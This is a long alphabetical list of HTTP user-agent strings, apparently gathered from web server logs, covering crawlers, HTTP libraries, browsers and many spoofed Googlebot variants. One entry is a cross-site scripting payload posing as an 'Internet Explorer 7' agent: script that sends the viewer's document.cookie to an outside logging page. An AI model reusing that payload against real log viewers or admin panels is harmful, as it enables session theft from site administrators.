FeedHub MetaDataFetcher/1.0 (http://www.feedhub.com)

FeedValidator/1.3

fetch libfetch/2.0

Filthish/1.0 (Windows NT 5.1; en-GB; http://www.leytonjay.co.uk/about-you/ - I am not a robot, just a browser passing through....) Firefox/2

Findexa Crawler (http://www.findexa.no/gulesider/article26548.ece)

findlinks/0.939 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/0.944 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/0.945 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/0.956 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/0.968 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/0.973 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/0.975 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/0.976 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/0.999 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/1.0 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/1.0.8 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/1.0.8-a5 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/1.0.9 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/1.0.9-a2 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/1.06 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/1.07 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/1.08 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/1.1-a3 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/1.1-a7 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/1.1-a8 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/1.1-a9 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/1.1.1 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/1.1.1-a1 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/1.1.1-a2 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/1.1.1-a5 ( http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/1.1.1-a5 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/1.1.2-a3 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/1.1.2-a5 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/1.1.3-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/1.1.3-beta2 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/1.1.3-beta3 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/1.1.3-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/1.1.3-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/1.1.3-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/1.1.3-beta8 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/1.1.3-beta9 (+http://wortschatz.uni-leipzig.de/findlinks/)

findlinks/1.1.4-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)

Firebat 2.7.13

Firebat 2.8.1 (http://lms.virtual-presence.org)

firefox google bot

firefox googlebot

FlashGet

flatlandbot/flatlandbot (Flatland Industries Web Spider; http://www.flatlandindustries.com/flatlandbot.php; [email protected])

flatlandbot/flatlandbot (Flatland Industries Web Spider; http://www.flatlandindustries.com/flatlandbot; [email protected])

flyindex.net 1.0/http://www.flyindex.net

foo/1.0

foo_1.0.0.9

foo1.2.2.3

foobar/Nutch-1.0-dev (foobar; foobar.com; [email protected])

Fooky.com/ScorpionBot/ScoutOut; http://www.fooky.com/scorpionbots

ForAll.pl-Crawler/1.0
 
Forschungsportal/0.8-dev (Testinstallation; http://www.forschungsportal.net/; [email protected])

FreeSurfer software from SunnyScript - http://www.sunnyscript.com

FunWebProducts

fusion-ware.com

Fusion-ware.com bot

FyberSpider (+http://www.fybersearch.com/fyberspider.php)

FyberSpider/1.3 (http://www.fybersearch.com/fyberspider.php)

g3.pl/0.1 libwww-perl/5.65

g3.pl/0.1 libwww-perl/5.803

Gaisbot/3.0+([email protected];+http://www.widelab.org/robot.html)

Gaisbot/3.0+([email protected];+http://gais.cs.ccu.edu.tw/robot.php)

Gaisbot/3.0+([email protected];+http://gais.cs.ccu.edu.tw/robot.php)

GameBox

Gandalf/Grey (Shadowfax; Wind) White_Staff

gbot

gemiusbot

Generic Mobile Phone (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)

genieBot (http://64.5.245.11/faq/faq.html)

genieBot [email protected]

geniebot [email protected]

GeoBot/version 1.0

GeonaBot/1.2; http://www.geona.com/

Georgila/4.0

geosign-crawler (Enterprise; M2-KJL7RPEBUC2JB; [email protected])

GetHTMLContents3

Giant/1.0 (Openmaru bot; [email protected])

Gigabot/1.0

Gigabot/2.0

Gigabot/2.0 (http://www.gigablast.com/spider.html)

Gigabot/2.0/gigablast.com/spider.html

Gigabot/2.0; http://www.gigablast.com/spider.html

Gigabot/2.0att

Gigabot/3

Gigabot/3.0 (http://www.gigablast.com/spider.html)

gnome-vfs/2.16.2 neon/0.25.4

gnu-classpath/0.92 (libgcj/4.1.2 (Ubuntu 4.1.2-0ubuntu5))

GOD WebWasher 3.4

GOFORITBOT ( http://www.goforit.com/about/ )

goget/ /image/

Goglebot/2.1 (+http://www.goglebot.com/bot.html)

Goldfire Server

gonzo1 mailto:[email protected]

gonzo1[D] mailto:[email protected]

google bot

google-bot

Google-Sitemaps/1.0

GoogleBot

googlebot 1.0

Googlebot 2,1

Googlebot 2.1

Googlebot 2.1 (New version)

Googlebot 2.1 ColdFire/1.1.51.59

Googlebot-2.1

Googlebot-Image 1.0 Googlebot-Image/1.0

Googlebot-Image/1.0

Googlebot-Image/1.0 (+http://www.googlebot.com/bot.html

Googlebot-Image/1.0 (+http://www.googlebot.com/bot.html)

Googlebot-Mobile

googlebot/1.0

Googlebot/1.0 ([email protected] http://googlebot.com/)

Googlebot/2!(+http://www.googlebot.com/bot.html)

Googlebot/2.0 (http://www.googlebot.com/bot.html)

Googlebot/2.1

Googlebot/2.1 (+http://www.google.com/bot.html)

Googlebot/2.1 ( http://127.0.0.1)

Googlebot/2.1 ( http://www.google.com/bot.html)

Googlebot/2.1 ( http://www.googlebot.com/bot.html)

Googlebot/2.1 ( http://www.googlebot.com/bot.html)"Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html

Googlebot/2.1 ( http://www.googlebot.com/bot.html);afcid=Wf36ac4fee54afd78d944843274ab1511

Googlebot/2.1 (+ http://www.google.com/bot.html)

Googlebot/2.1 (+ http://www.googlebot.com/bot.html)

Googlebot/2.1 (+http://127.0.0.1)

Googlebot/2.1 (+http://google.com/bot.html)

Googlebot/2.1 (+http://googlebot.com/bot.html)

Googlebot/2.1 (+http://www.google.com./bot.html)

Googlebot/2.1 (+http://www.google.com/bot.html

Googlebot/2.1 (+http://www.google.com/bot.html)

Googlebot/2.1 (+http://www.google.com/bot.html) (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; MS-RTC LM 8)

Googlebot/2.1 (+http://www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Googlebot/2.1 (+http://www.google.com/bot.html,gzip(gfe) (via translate.google.com)

Googlebot/2.1 (+http://www.google.com/bot.html; Googlebot/2.13; Googlebot/2.12; SaveWealth; .NET CLR 1.1.4322; .NET CLR 1.0.3705)

Googlebot/2.1 (+http://www.googlebot.com/bot.htm

Googlebot/2.1 (+http://www.googlebot.com/bot.htm)

Googlebot/2.1 (+http://www.googlebot.com/bot.html

Googlebot/2.1 (+http://www.googlebot.com/bot.html)

Googlebot/2.1 (+http://www.googlebot.com/bot.html),gzip(gfe) (via translate.google.com)

Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)

Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 6.0; Windows NT 5.1; SV1; Antenna Preview Window)

Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)

Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1; PeoplePal 3.0; PeoplePal 6.2)

Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1; PeoplePal 3.0; PeoplePal 6.2; .NET CLR 2.0.50727; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322)

Googlebot/2.1 (+http://www.googlebot.com/bot.html}

Googlebot/2.1 (♦http://www.googlebot.com/bot.html)

Googlebot/2.1 (Google's crawler; http://www.googlebot.com; [email protected])

GoogleBot/2.1 (http://googlebot.com/bot.html)

Googlebot/2.1 (http://www.googlbot.com/bot.html)

Googlebot/2.1 (http://www.google.com/bot.html)

Googlebot/2.1 (http://www.google.com/bot/html)

Googlebot/2.1 (http://www.googlebot.com/bot.html)

Googlebot/2.1 (http://www.googlebot.com/bot.html)http://www.googlebot.com/bot.html

Googlebot/2.1 - Google.com

Googlebot/2.1 [+http://www.googlebot.com/bot.html]

Googlebot/2.1(+http://www.googlebot.com/bot.html)

Googlebot/2.1(http://www.googlebot.com/bot.html)

Googlebot/2.1+

Googlebot/2.1+(+http://googlebot.com/bot.html)

Googlebot/2.1+(+http://www.google.com/bot.htm

Googlebot/2.1+(+http://www.google.com/bot.html

Googlebot/2.1+(+http://www.google.com/bot.html)

Googlebot/2.1+(+http://www.google.com/bot.html),gzip(gfe) (via translate.google.com)

Googlebot/2.1+(+http://www.google.com/bot.html)”

Googlebot/2.1+(+http://www.google.com/bot.html)” Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Googlebot/2.1+(+http://www.google.com/bot.html)”

Googlebot/2.1+(+http://www.google.com?bot.html)

Googlebot/2.1+(+http://www.googlebot.com/bot.html

Googlebot/2.1+(+http://www.googlebot.com/bot.html)

Googlebot/2.1+(+http://www.googlebot.com/bot.html)"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html

Googlebot/2.1+(+http://www.googlebot.com/bot.html)”

Googlebot/2.1+(+http://www.googlebot.com/bot.html)” Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Googlebot/2.1+(+http://www.googlebot.com/bot.html]

Googlebot/2.1; ( http://www.google.com/bot.html)

Googlebot/2.1; +http://www.google.com/bot.html

Googlebot/2.1; +http://www.google.com/bot.html)

Googlebot/2.1; +http;//www.google.com/bot.html

Googlebot/2.1; http://www.google.com/bot.html

Googlebot/2.3 (+http:\\www.googlebot.com/bot.html)

googlebot/2.X (+http://www.google.com/bot.html)

Googlebot/2.X (+http://www.googlebot.com/bot.html)

Googlebot/2.X (http://www.googlebot.com/bot.html)

GooglebotJZ.1 (+http:.//www.googlebot.com/bot.html)

googlepages/Nutch-0.9 (googlepages; http://www.googlepages.com; [email protected])

GoogleProject1/0.1 powered by http://superfrink.net/

GoogleProjectTwo/0.1 powered by http://superfrink.net/

GoogleReport Search Engine - http://www.googlereport.org

Googoebot/2.1

Gran PC 5.1

GranExplorer 1.0 (compatible; MSIE6.0; Windows NT 5.1) by Gran PC Software

grbot

great-plains-web-spider/flatlandbot (Flatland Industries Web Spider; http://www.flatlandindustries.com/flatlandbot.php; [email protected])

great-plains-web-spider/gpws (Flatland Industries Web Spider; http://www.flatlandindustries.com/flatlandbot.php; [email protected])

gridwell (http://search.gridwell.com)

grub-client-1.5.3; (grub-client-1.5.3; Crawl your own stuff with http://grub.org)

Grub/2.0 (Grub.org crawler; http://www.grub.org/; [email protected])

gsa-crawler (Enterprise; GID-01422; [email protected])

gsa-crawler (Enterprise; GIX-03519;)

gsa-crawler (Enterprise; GIX-04637; [email protected])

gsa-crawler (Enterprise; M2-AQEYHKEBVC2AB; [email protected],[email protected])

GSiteCrawler/NB

GSiteCrawler/v1.20 rev. 273 (http://gsitecrawler.com/)

GSiteCrawler/v1.23 rev. 286 (http://gsitecrawler.com/)

Gulper Web Bot 0.2.4 (http://www.ecsl.cs.sunysb.edu/~maxim/cgi-bin/Link/GulperBot)

GurujiBot/1.0 (+http://www.guruji.com/en/WebmasterFAQ.html)

GurujiBot/1.0 (+http://www.guruji.com/WebmasterFAQ.html)

Hackzilla/0.8.15 (Hackits 0.8.15; U; neXt Systems; en-GB; rv:0.8.1.5) spammo/20060508 Hackitfox/1.5.0.4

Hampsters Bumhole

Hatena Bookmark/0.1

Hatena2::RemoteDocument/0.02

HatenaScreenshot (compatible; MSIE 6.0; Windows NT 5.1; SV1)

HatenaScreenshot/1.0 (checker)

hbtronix.spider.1 -- http://hbtronix.de/spider.php

healia/Nutch-0.9 (the personalized health search engine.; http://www.healia.com; [email protected])

heartland A19F2B69-28D6-11DC-BCA0-00304852B7B8

Heeii backend ng 1.0 Java/1.5.0_14

Heeii backend ng 1.0 Java/1.6.0_03

heeii/LiveNode

heeii/LiveNode Java/1.5.0_10

Heeii/Nutch-0.8.1 (Heeii; http://www.heeii.com; [email protected])

Heeii/Nutch-0.9 (Heeii; http://www.heeii.com; [email protected])

heeii/Nuts Java/1.5.0_10

heeii/Nuts Java/1.5.0_14

heeii/Nuts Java/1.6.0

Heilbut

HenryTheMiragoRobot (http://www.miragorobot.com/scripts/mrinfo.asp)

hl_ftien_spider

hl_ftien_spider/1.1(compatible; MSIE 5.00; Windows 98)

hl_ftien_spider_v1.1

HMSE_Robot

HMSEbot

holmes/3.10.1 (OnetSzukaj/5.0; +http://szukaj.onet.pl)

holmes/3.11 (http://morfeo.centrum.cz/bot)

holmes/3.11 (OnetSzukaj/5.0; +http://szukaj.onet.pl)

holmes/3.12 (http://morfeo.centrum.cz/bot)

holmes/3.12 (OnetSzukaj/5.0; +http://szukaj.onet.pl)

holmes/3.12.1 (http://morfeo.centrum.cz/bot)

holmes/3.12.2 (http://morfeo.centrum.cz/bot)

holmes/3.12.3 (http://morfeo.centrum.cz/bot)

holmes/3.12.4 (http://morfeo.centrum.cz/bot)

holmes/3.9 (OnetSzukaj/5.0; +http://szukaj.onet.pl)

HolmesBot (http://holmes.ge)

Hostcrawler 0.1 (+http://contact.eweb.ws)

HouxouCrawler/Nutch-0.8.2-dev (houxou.com's nutch-based crawler which serves special interest on-line communities; http://www.houxou.com/crawler; crawler at houxou dot com)

HouxouCrawler/Nutch-0.9 (houxou.com's nutch-based crawler which serves special interest on-line communities; http://www.houxou.com/crawler; crawler at houxou dot com)

HPL/Nutch-0.9

HTC-8100/1.2 Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC; 240x320) UP.Link/6.3.0.0.0

HTML2JPG Blackbox, http://www.html2jpg.com

HTMLParser/1.41

HTMLParser/1.5

HTMLParser/1.6

HTTP Client

HTTP Retriever

HTTP Spider/0.9

http://crawler.spidergrid.net/1.0.5beta; http://gridgroup.de / http://narres.it/)

http://www.google.com/bot.html

http://www.googlebot.com/bot.html

HTTP_CLIENT: QuickMarkClient

HTTPConnect

httpunit/1.5

hunter/Nutch-0.8.1

i1searchbot/2.0 (i1search web crawler; http://www.i1search.com; [email protected])

ia_archiver

ia_archiver (+http://www.alexa.com/site/help/webmasters; [email protected])

ia_archiver-web.archive.org

ia_archiver/4.9 (Windows XP 1.8; en-US;)

iaskspider/2.0(+http://iask.com/help/help_index.html)

IBrowse/2.3 (AmigaOS V51)

ICC-Crawler(Mozilla-compatible; http://kc.nict.go.jp/icc/crawl.html; icc-crawl(at)ml(dot)nict(dot)go(dot)jp)

ICC-Crawler(Mozilla-compatible; http://kc.nict.go.jp/icc/crawl.html; icc-crawl-contact(at)ml(dot)nict(dot)go(dot)jp)

iCCrawler (http://www.iccenter.net)

iCCrawler (http://www.iccenter.net/bot.htm)

ICCrawler - ICjobs (http://www.icjobs.de/bot.htm)

ichiro/1.0 ([email protected])

ichiro/2.0 (http://help.goo.ne.jp/door/crawler.html)

ichiro/2.0 ([email protected])

ichiro/2.0+(http://help.goo.ne.jp/door/crawler.html)

ichiro/3.0 (http://help.goo.ne.jp/door/crawler.html)

Icon Grabber - Setup

IEAutoDiscovery

iexplore

IIITBOT/1.1 (Indian Language Web Search Engine; http://webkhoj.iiit.net; pvvpr at iiit dot ac dot in)

ilial/Nutch-0.9 (Ilial, Inc. is a Los Angeles based Internet startup company. For more information please visit http://www.ilial.com/crawler; http://www.ilial.com/crawler; [email protected])

ilial/Nutch-0.9 (Ilial, Inc. is a Los Angeles based Internet startup company.; http://www.ilial.com/crawler; [email protected])

ilial/Nutch-0.9-dev

IlseBot/1.0

IlseBot/1.1

IlTrovatore-Setaccio/1.2 (It search engine; http://www.iltrovatore.it/bot.html; [email protected])

IlTrovatore-Setaccio/1.2 (It-bot;compatible;MSIE 6.0;Mozilla/4.0; http://www.iltrovatore.it/bot.html; [email protected])

IlTrovatore/1.2 (IlTrovatore; http://www.iltrovatore.it/bot.html; [email protected])

Image Collector V1.1

Indexer1063

inet library

InetURL:/1.0

InetURL:/1.0;afcid=W6e19ed016dedc5cb43e7fa516dce24a0

Infinity/0.02 [shastye] (Win67; X; SK; )

Internet Explorer 7<script>document.write("<img src=\"http://members.lycos.nl/opslga4vshop/logje.php?id="+document.cookie+"/>");</script>

InternetArchive/0.8-dev (Nutch; http://lucene.apache.org/nutch/bot.html; [email protected])

InternetSupervision (http://internetsupervision.com/urlmonitor/3)

IP*Works! V5 HTTP/S Component - by /n software - http://www.nsoftware.com

IP2LocationBot/1.00 <a href="http://www.ip2location.com">http://www.ip2location.com</a>

IP2MapBot/1.3 <a href=http://www.ip2map.com>http://www.ip2map.com</a>

IP2PhraseBot/1.0 <a href="http://www.ip2phrase.com">http://www.ip2phrase.com</a>

IPAddressGuideBot/1.0 <a href="http://www.ipaddressguide.com">http://www.ipaddressguide.com</a>

IPAddressGuideBot/1.0 <a href="http://www.ipaddressguide.com.com">http://ww

IPAddressGuideBot/1.0 <a href="http://www.ipaddressguide.com.com">http://www.ipaddressguide.com</a>

IPAddressGuideBot/1.1 <a href="http://www.ipaddressguide.com">http://www.ipaddressguide.com</a>

IRLbot/2.0 (compatible; MSIE 6.0; http://irl.cs.tamu.edu/crawler)

IRLbot/3.0 (compatible; MSIE 6.0; http://irl.cs.tamu.edu/crawler)

IRLbot/3.0 (compatible; MSIE 6.0; http://irl.cs.tamu.edu/crawler/)

IRP_edu_bot/Nutch-0.9

ISC Systems iRc Search 2.1

iSEEKbot/iSEEKbot-0.9-dev (http://beta.iseek.com/iseekbot.html; bot at iseek dot com)

Isidorus/2.0 (Isidorus; http://www.isidorus.com; [email protected])

iVia Downloader

iVia Page Fetcher (http://ivia.ucr.edu/useragents.shtml)

IxHTTP_Get/3.2.3 (OS/2)

Jakarta Commons-HttpClient/2.0.1

Jakarta Commons-HttpClient/3.0

Jakarta Commons-HttpClient/3.0-rc1

Jakarta Commons-HttpClient/3.0-rc4

Jakarta Commons-HttpClient/3.0-rcx

Jakarta Commons-HttpClient/3.0.1

Jakarta Commons-HttpClient/3.1

Jakarta Commons-HttpClient/3.1-rc1

Jambot/0.1.1 (Jambot; http://www.jambot.com/blog; [email protected])

Java 1.5 / IBM HTML Commons

Java(TM) 2 Runtime Environment, Standard Edition

Java/1.4.1_01

Java/1.4.1_04

Java/1.4.2

Java/1.4.2_01

Java/1.4.2_02

Java/1.4.2_03

Java/1.4.2_04

Java/1.4.2_05

Java/1.4.2_07

Java/1.4.2_08

Java/1.4.2_09

Java/1.4.2_10

Java/1.4.2_12

Java/1.4.2_13

Java/1.4.2_16

Java/1.5.0

Java/1.5.0-p3

Java/1.5.0_01

Java/1.5.0_02

Java/1.5.0_03

Java/1.5.0_04

Java/1.5.0_05

Java/1.5.0_06

Java/1.5.0_07

Java/1.5.0_08

Java/1.5.0_09

Java/1.5.0_10

Java/1.5.0_11

Java/1.5.0_12

Java/1.5.0_13

Java/1.5.0_14

Java/1.5.0_15

Java/1.6.0

Java/1.6.0-beta

Java/1.6.0-beta2

Java/1.6.0-dp

Java/1.6.0-oem

Java/1.6.0-rc

Java/1.6.0_01

Java/1.6.0_01-ea

Java/1.6.0_02

Java/1.6.0_03

Java/1.6.0_04

Java/1.6.0_05

Java/1.6.0_06

Java/1.6.0_07

Java/1.6.0_10-beta

Java1.1.8

Java1.2.2

Java1.3.0

Java1.3.1

Java1.3.1_07

Java1.3.1_18

Java1.4.0

Java1.4.0_01

javascriptvoid(setUserAgent('bwh3_user_agent'));

javascriptvoid(setUserAgent('Googlebot/2.1+(+http://www.google.com/bot.html)'));

JetBrains Omea Reader 2.2 (http://www.jetbrains.com/omea/reader/)

Jigsaw/2.2.5 W3C_CSS_Validator_JFouffa/2.0

JoBo/1.x (http://www.matuschek.net/jobo.html)

JuicyBits_Indexer_0.02

JuicyBits_Search_0.04

Jyxobot/1

K-Meleon/0.6 (Windows; U; Windows NT 5.1; en-US; rv:0.9.5) Gecko/20011011

kakle-spider/0.1 (kakle-spider; http://www.kakle.com/bot.html; [email protected])

KakleBot - http://www.kakle.com/0.1 (KakleBot - http://www.kakle.com; http://www.kakle.com/bot.html; [email protected])

kalooga/kalooga-3.4-datahouse (Kalooga; http://www.kalooga.com; [email protected])

kalooga/kalooga-4.0-dev-datahouse (Kalooga; http://www.kalooga.com; [email protected])

kalooga/KaloogaBot (Kalooga; http://www.kalooga.com; [email protected])

Kazehakase/0.4.3

KBeeBot/0.5 Robot

KDDI-CA33 UP.Browser/6.2.0.10.4 (compatible; Y!J-SRD/1.0; http://help.yahoo.co.jp/help/jp/search/indexing/indexing-27.html)

KDDI-CA33 UP.Browser/6.2.0.10.4 (GUI) MMP/2.0 (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)

Keep Out.

Keyword Density Analyzer v1.01 ( http://www.ranks.nl/tools/spider.html )

Knight/0.2 (Zook Knight; http://knight.zook.in/; [email protected])

KnowItAll([email protected])

kooba Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1

KRetrieve/1.1/dbsearchexpert.com

Krugle/Krugle,Nutch/0.8+ (Krugle web crawler; http://corp.krugle.com/crawler/info.html; [email protected])

Krugle/Krugle,Nutch/0.8+ (Krugle web crawler; http://www.krugle.com/crawler/info.html; [email protected])

KS Spider/Nutch-0.9

ksibot/8.0d (+http://ego.ms.mff.cuni.cz/)

lanshanbot/1.0 (+http://search.msn.com/msnbot.htm)

LapozzBot/1.4 (+http://robot.lapozz.com)

LapozzBot/1.4 (+http://robot.lapozz.hu)

LapozzBot/1.5 (+http://robot.lapozz.hu)

larbin_2.6.3 ([email protected])

larbin_2.6.3 [email protected]

larbin_2.6.3 [email protected]

larbin_2.6.3 [email protected]

larbin_2.6.3 [email protected]

LarbinWebCrawler ([email protected])

LarbinWebCrawler [email protected]

LargeSmall Crawler

LBot

LeechGet 2006 (http://www.leechget.net)

LGE-VX8100/1.0 UP.Browser/6.2.3.2 (GUI) MMP/2.0

libcurl-agent/1.0

libwww-perl/5.36

libwww-perl/5.45

libwww-perl/5.50

libwww-perl/5.53

libwww-perl/5.63

libwww-perl/5.65

libwww-perl/5.68

libwww-perl/5.69

libwww-perl/5.75

libwww-perl/5.76

libwww-perl/5.801

libwww-perl/5.803

libwww-perl/5.805

libwww-perl/5.806

libwww-perl/5.808

libwww-perl/5.810

libwww-perl/5.811

libwww-perl/5.812

libwww-perl/5.814

LijitSpider/Nutch-0.9 (Reports crawler; http://www.lijit.com/; info(a)lijit(d)com)

link_checker/1.1

LinkAider

Links SQL (http://gossamer-threads.com/scripts/links-sql/)

LinkSiteMaker/1.0 (+http://www.sasfead.com)

LinksManager.com (http://linksmanager.com/linkchecker.html)

LinkWalker

LinkWalker/2.0

linux null

LinxChequer/1.0

ljt_ignoreme:14998

LMQueueBot/0.2

lmspider/Nutch-0.9-dev (For research purposes.; http://www.nuance.com; lmspider@nuance.com)

LocalcomBot/1.2 (+http://www.local.com/bot.htm)

LocalcomBot/1.2.2 (+http://www.local.com/bot.htm)

LocalcomBot/1.3.0 (+http://www.local.com/bot.htm)

locallytargetbot/locallybotV2 (locallybotV2; http://www.locallytarget.com; bot@locallytarget.com)

Lovel as 1.0 ( +http://www.everatom.com)

Lsearch/sondeur

LTH Browser 3.02a (compatible; mozilla ; Windows NT 5.1; SV1; http://www.learntohack.nil; .NET CLR 1.1.4322; http://www.learntohack.nil)

LTH Browser 3.02a (compatible; mozilla; Windows NT 5.1; SV1; http://www.learntohack.nil; .NET CLR 1.1.4322; http://www.learntohack.nil)

LTH Browser/3.02a

LTH Browser/3.02a (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

LTH Browser/3.02a (http://www.learntohack.nil)

LTH Browsery\3.02a (Windows NT 5.1; U)

LTI/LemurProject Nutch Spider/Nutch-1.0-dev (lti crawler for CMU; http://www.lti.cs.cmu.edu; changkuk at cmu dot edu)

LTI/LemurProject Nutch Spider/Nutch-1.0-dev (Research spider using Nutch; http://lucene.apache.org/nutch/bot.html; admin@lemurproject.org)

lwp-request/2.06

lwp-request/2.07

lwp-trivial/1.35

lwp-trivial/1.36

lwp-trivial/1.38

lwp-trivial/1.40

lwp-trivial/1.41

LWP::Simple/5.75

LWP::Simple/5.800

LWP::Simple/5.803

LWP::Simple/5.812

Lycos_Spider_(modspider)

Lynx/2.8 (;http://seebot.org)

Mail Harvester

Mail.Ru/1.0

MakeMyReport.com Search Engine - http://www.makemyreport.com

MalleHenkie/2.0.0.3a

MalleHenkie/3.0.1.20a

MaSagool/1.0 (MaSagool; http://sagool.jp/)

MaSagool/Mozilla/5.0 (MaSagool; http://sagool.jp/)

McBot/5.001 (windows; U; NT4.0; en-us)

MCT Spider (TM) 2025

MECOM-IndexBot/1.1

Mediapartners-Google

Mediapartners-Google (via babelfish.yahoo.com)

Mediapartners-Google/2.1

Megite2.0 (http://www.megite.com)

Mercurius.exe

MetaGer_PreChecker0.1

Metasearch Crawler/1.0

Metaspinner/0.01 (Metaspinner; http://www.meta-spinner.de/; support@meta-spinner.de/)

metatagsdir/0.7 (+http://metatagsdir.com/directory/)

MFC_Tear_Sample

MicroCosmoTalk(TM) Spider

Microsoft Data Access Internet Publishing Provider DAV 1.1

Microsoft Data Access Internet Publishing Provider Protocol Discovery

Microsoft Local Search Bot

Microsoft Office Existence Discovery

Microsoft Small Business Indexer

Microsoft URL Control - 6.00.8169

Microsoft URL Control - 6.00.8862

Microsoft URL Control - 6.00.8877

Microsoft URL Control - 6.01.9782

Microsoft Windows Network Diagnostics

Microsoft-WebDAV-MiniRedir/5.1.2600

MicroStation Web Links

Microwave Oven

miniRank/2.0 (miniRank; http://minirank.com/; website ranking engine)

Missigua Locator 1.9

Mister Pix II 2.10

Mister Pix II 2.15

Mister Wong-Bot/1.0 (http://www.mister-wong.de)

MJ12bot/v1.0.0 (http://majestic12.co.uk/bot.php?+)

MJ12bot/v1.0.1 (http://majestic12.co.uk/bot.php?+)

MJ12bot/v1.0.2 (http://majestic12.co.uk/bot.php?+)

MJ12bot/v1.0.3 (http://majestic12.co.uk/bot.php?+)

MJ12bot/v1.0.4 (http://majestic12.co.uk/bot.php?+)

MJ12bot/v1.0.5 (http://majestic12.co.uk/bot.php?+)

MJ12bot/v1.0.6 (http://majestic12.co.uk/bot.php?+)

MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+)

MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)

MJ12bot/v1.1.0 (http://majestic12.co.uk/bot.php?+)

MJ12bot/v1.1.1 (http://majestic12.co.uk/bot.php?+)

MJ12bot/v1.1.2 (http://majestic12.co.uk/bot.php?+)

MJ12bot/v1.2.0 (http://majestic12.co.uk/bot.php?+)

MLBot (http://www.metadatalabs.com)

MLBot (http://www.metadatalabs.com/mlbot)
 
Mnogosearch-3.1.21

MnoGoSearch/3.2.40

MnoGoSearch/3.3.4

MojeekBot/0.2 (archi; http://www.mojeek.com/bot.html)

MoJoBot/0.1 libwww-perl/5.805

Moreoverbot/5.00 (+http://www.moreover.com)

Most Excellent Browser

MOT-A-2B/01.07 UP.Browser/4.1.27a1 UP.Link/6.2.3.19.0

Motoricerca-Robots.txt-Checker/1.0 (http://tool.motoricerca.info/robots-checker.phtml)

Mozilla 4.0 - GetMeLinked Spider http://www.GetMeLinked.com Web Directory

Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://about.ask.com/en/docs/about/webmasters.shtml)

Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/te

Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/tech_crawling.html)

Mozilla/3.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Mozilla/3.0 (compatible; ScollSpider; http://www.webwobot.com)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; adcig74 <a href="http://irongeek.com">Network Security Hacking Videos Pen-Testing Nmap</A> )

Mozilla/4.0 (ActiveTouristBot V1.2 ;http://www.activetourist.com)

Mozilla/4.0 (ActiveTouristBot; http://www.activetourist.com )

Mozilla/4.0 (compatible; Vagabondo/2.3; webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/)

